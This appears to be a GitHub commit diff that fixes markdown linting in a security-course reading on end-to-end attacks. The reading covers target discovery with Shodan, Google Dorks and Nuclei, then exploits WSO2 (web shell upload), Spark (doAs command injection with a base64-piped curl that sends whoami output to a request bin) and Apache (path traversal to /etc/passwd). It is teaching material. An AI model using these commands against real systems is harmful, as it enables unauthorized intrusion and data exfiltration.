Skip to content

Commit cac665c

Browse files
author
David Bors
committed
10-end-to-end-chapter/reading: fix: linting
Fixed markdownlint errors. Signed-off-by: David Bors <borsdavid@proton.me>
1 parent 78fba3c commit cac665c

File tree

1 file changed

+31
-29
lines changed
  • chapters/web-application-security/10-end-to-end/reading

1 file changed

+31
-29
lines changed

chapters/web-application-security/10-end-to-end/reading/index.md

Lines changed: 31 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@ linkTitle: 10. End-to-End Attack
33
type: docs
44
weight: 10
55
---
6+
# End to End Attacks
7+
68
## Introduction
79

810
There are multiple stages of a cyber attack: many of them contains five common stages used by a hacker to break into a system and also control it.
@@ -71,29 +73,30 @@ The attacker would change their MAC address and run the attacking machine throug
7173
## How to find targets in the wild
7274

7375
### Find targets using shodan.io
76+
7477
As presented to you in another session, **[shodan.io](https://www.shodan.io/dashboard)** is a powerful search engine that can help you to find vulnerable targets on the internet, using different search queries.
7578
A search query can contain, for example, the name of the product like a simple ```weblogic``` which represents the name of the WebLogic server developed by Oracle.
7679

77-
<img src="../media/shodan_finding_1-2.png" width=800 height=400>
80+
![shodan_finding_1-2.png](../media/shodan_finding_1-2.png)
7881

7982
But we can also use more specific queries to find targets that interest us. You can also specify the port numbers inside the shodan query, using the ```port:``` filter.
8083
Knowing that [WSO2](https://wso2.com) the default HTTP and HTTPS ports of a WSO2 product are 9763 and 9443 respectively, we can try to use the ```WSO2 port:9443,9763``` query, you can find some [WSO2](https://wso2.com) targets across the internet.
8184

82-
<img src="../media/shodan_finding_2-2.png" width=800 height=400>
85+
![shodan_finding_2-2.png](../media/shodan_finding_2-2.png)
8386

8487
Another way to find vulnerable targets is the **favicon hash**.
8588
Favicon is the shortand for favourite icon. It is used as a shortcut to other webpages.
8689
Browsers that use these icons usually display them in the address bar, as well as in the history.
8790

88-
<img src="../media/favicon.png" width=474 height=142>
91+
![favicon.png](../media/favicon.png)
8992

9093
You can find the favicon hash of an website, using the [FaviconHash website](https://faviconhash.com). For example, let's find out the favicon hash of the github.com website.
9194

92-
<img src="../media/favicon_website.png" width=700 height=200>
95+
![favicon_website.png](../media/favicon_website.png)
9396

9497
Now, we can use the ```http.favicon.hash:1848946384``` filter to find some GitHub based web-sites.
9598

96-
<img src="../media/github_favicon.png" width=900 height=450>
99+
![github_favicon.png](../media/github_favicon.png)
97100

98101
As you can see, we now have more than 700 results of potential vulnerable applications.
99102
Note that in order to use Shodan filters (http.favicon.hash) you must be logged in.
@@ -104,15 +107,15 @@ Google Dorks involves using advanced operators in the Google search engine to lo
104107
Common cases of using Google Dorks are finding specific versions of vulnerable Web applications.
105108
Taking the previous example, we want to find some vulnerable versions of the WSO2 product after the release of the [CVE-2022-29464](https://www.trendmicro.com/en_us/research/22/e/patch-your-wso2-cve-2022-29464-exploited-to-install-linux-compatible-cobalt-strike-beacons-other-malware.html) so we will use Google Dorks, knowing the vulnerable endpoints of the vulnerable product.
106109

107-
```
110+
```text
108111
inurl:"/carbon/admin/login.jsp"
109112
inurl:"/authenticationendpoint/login.do"
110113
inurl:"devportal/apis"
111114
intitle:"API Publisher- Login"
112115
intitle:"WSO2 Management Console"
113116
```
114117

115-
<img src="../media/google_dorks.png" width=800 height=500>
118+
![google_dorks.png](../media/google_dorks.png)
116119

117120
### Use automation to find vulnerable targets with Nuclei
118121

@@ -128,9 +131,9 @@ Taking the same previous CVE-2022-29464 as an example, we can use our shodan.io
128131

129132
First we need to download the results of the [shodan search used for the WSO2 targets](https://www.shodan.io/search?query=WSO2+port%3A9443%2C9763): just press the Download Results button and wait for the ```.json.gz``` file to be downloaded then unzip it using ```gzip -d <finding>.json.gz```
130133

131-
<img src="../media/shodan_download.png" width=800 height=150>
134+
![shodan_download.png](../media/shodan_download.png)
132135

133-
<img src="../media/shodan_download_2.png" width=800 height=150>
136+
![shodan_download_2.png](../media/shodan_download_2.png)
134137

135138
Our main interests of the ```<finding>.json.gz``` are the IP:PORT fields of every resulted information of the target; so the first approach is to extract these two fields, using [jq](https://stedolan.github.io/jq/) Linux utility - a sed for JSON data.
136139

@@ -144,7 +147,7 @@ Another approach is to use the shodan [API](https://help.shodan.io/guides/how-to
144147

145148
You can use the following commands to download the data:
146149

147-
```
150+
```console
148151
shodan init <API_KEY>
149152
shodan count WSO2 port:9443,9763
150153
shodan download targets.json.gz WSO2 port:9443,9763 [--limit 1000]
@@ -164,7 +167,7 @@ After the installation is completed, as we said, we will choose to scan targets
164167

165168
We can see that our target was found vulnerable by nuclei.
166169

167-
<img src="../media/nuclei_run.png">
170+
![nuclei_run](../media/nuclei_run.png)
168171

169172
## CVEs exploitation
170173

@@ -200,13 +203,13 @@ So, the main idea is to send a **POST** request containing a web shell, which le
200203

201204
First, turn on the Intercept and catch a request to the ```/carbon``` endpoint, using the Chromium browser. Access the ```https://<IP>:9443/carbon``` from the Chromium Browser.
202205

203-
<img src="../media/browser_access.png" width=400 height=200>
206+
![browser_access.png](../media/browser_access.png)
204207

205-
<img src="../media/burp_intercept_dark.png" width=800 height=400>
208+
![burp_intercept_dark.png](../media/burp_intercept_dark.png)
206209

207210
Now, send the caught request to Repeater, using the **Ctrl+R** keyboard shortcut; this allows us to modify the request, trying to replicate the request that will succeed to our exploitation.
208211

209-
<img src="../media/burp_repeater_dark.png" width=800 height=400>
212+
![burp_repeater_dark.png](../media/burp_repeater_dark.png)
210213

211214
As we said before, we can upload any file on the WSO2 server -- we want a file that can interpret commands: we will try to upload a web shell jsp file with the following content:
212215

@@ -241,12 +244,12 @@ if (request.getParameter("cmd") != null) {
241244
Let's modify the request and send a new request containing the web shell file having the name ```sss.jsp```.
242245
This file will be uploaded at the ```/authenticationendpoint/sss.jsp``` endpoint.
243246

244-
<img src="../media/crafted_request.png" width=900 height=500>
247+
![crafted_request.png](../media/crafted_request.png)
245248

246249
Right now we have an uploaded file situated on the ```https://<IP>:9443/authenticationendpoint/sss.jsp```.
247250
Accessing that web-page, we can see that we have a prompted form where we can insert commands.
248251

249-
<img src="../media/passwd_file.png" width=600 height=300>
252+
![passwd_file.png](../media/passwd_file.png)
250253

251254
### CVE-2022-33891
252255

@@ -258,7 +261,7 @@ The command injection occurs because Spark checks the group membership of the us
258261

259262
The payload is pretty simple, you need to specify a command to run between the '`' characters, using the ```doAs``` parameter.
260263

261-
```
264+
```console
262265
curl -X "GET" http://<IP>:8080/?doAs=`<command_to_execute>`
263266
```
264267

@@ -270,31 +273,31 @@ To read the output of the command and to check if that command was executed on t
270273

271274
You need just to create a subdomain by using the Create a RequestBin button:
272275

273-
<img src="../media/requestbin.png" width=600 height=300>
276+
![requestbin.png](../media/requestbin.png)
274277

275278
Now you have an associated URL to your request bin and you can send requests to this URL getting all that information needed:
276279

277-
```
280+
```console
278281
curl <REQUEST-BIN-URL>
279282
```
280283

281-
<img src="../media/requestbin2.png" width=800 height=400>
284+
![requestbin2.png](../media/requestbin2.png)
282285

283286
To check if the server is vulnerable and the command was successfully executed, we would like the target server to communicate with our created logger: we will make the target to send a GET request to our REQUEST-BIN-URL.
284287
We will introduce a curl command inside the backticks that we discussed before.
285288

286289
But first, we will encode it with base64 inside the URL and then execute it using bash command.
287290

288-
```
291+
```console
289292
echo -n "curl <REQUEST-BIN-URL>" | base64
290293
curl -X "GET" http://<IP>:8080/?doAs=`echo <base_64_string> | base64 -d | bash`
291294
```
292295

293-
<img src="../media/simplecurl.png" width=800 height=90>
296+
![simplecurl.png](../media/simplecurl.png)
294297

295298
We can spot two GET requests as we have talked before: one request sent by our shell because of the backticks and another one interpreted by the target shell, meaning that the target is vulnerable.
296299

297-
<img src="../media/requestbinget.png" width=700 height=50>
300+
![requestbinget.png](../media/requestbinget.png)
298301

299302
But we will to extract some system information from the target, so we will try to execute a command and send it with curl. The ```-d``` parameter of curl will specify that we send a request with some data in it: that will be the output of the ```whoami``` command.
300303

@@ -306,17 +309,16 @@ import base64
306309
base64.b64encode(b'curl -d $(whoami) <REQUEST-BIN-URL>')
307310
```
308311

309-
<img src="../media/python_encode.png" width=550 height=50>
310-
312+
![python_encode.png](../media/python_encode.png)
311313

312-
```
314+
```console
313315
curl -X "GET" http://<IP>:8080/?doAs=`echo <base_64_string> | base64 -d | bash`
314316
```
315317

316318
We can see that we have got two GET requests in our Request Bin logger.
317319
One of this contains the target username:
318320

319-
<img src="../media/username.png" width=850 height=400>
321+
![username.png](../media/username.png)
320322

321323
### CVE-2021-41773
322324

@@ -327,11 +329,11 @@ The affected versions of Apache were Apache 2.4.49 & 2.4.50.
327329
Path normalization mechanism of Apache HTTP Server 2.4.49, it does not properly neutralize sequences such as ".." so this will result in accessing files outside the current directory.
328330
Using the ```%2e``` (which is the URL encoding of '.') inside the target URL, we can successfully run a path traversal attack:
329331

330-
```
332+
```console
331333
curl http://<IP>:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
332334
```
333335

334-
<img src="../media/path_traversal.png" width=600 height=250>
336+
![path_traversal.png](../media/path_traversal.png)
335337

336338
## Further reading
337339

0 commit comments

Comments
 (0)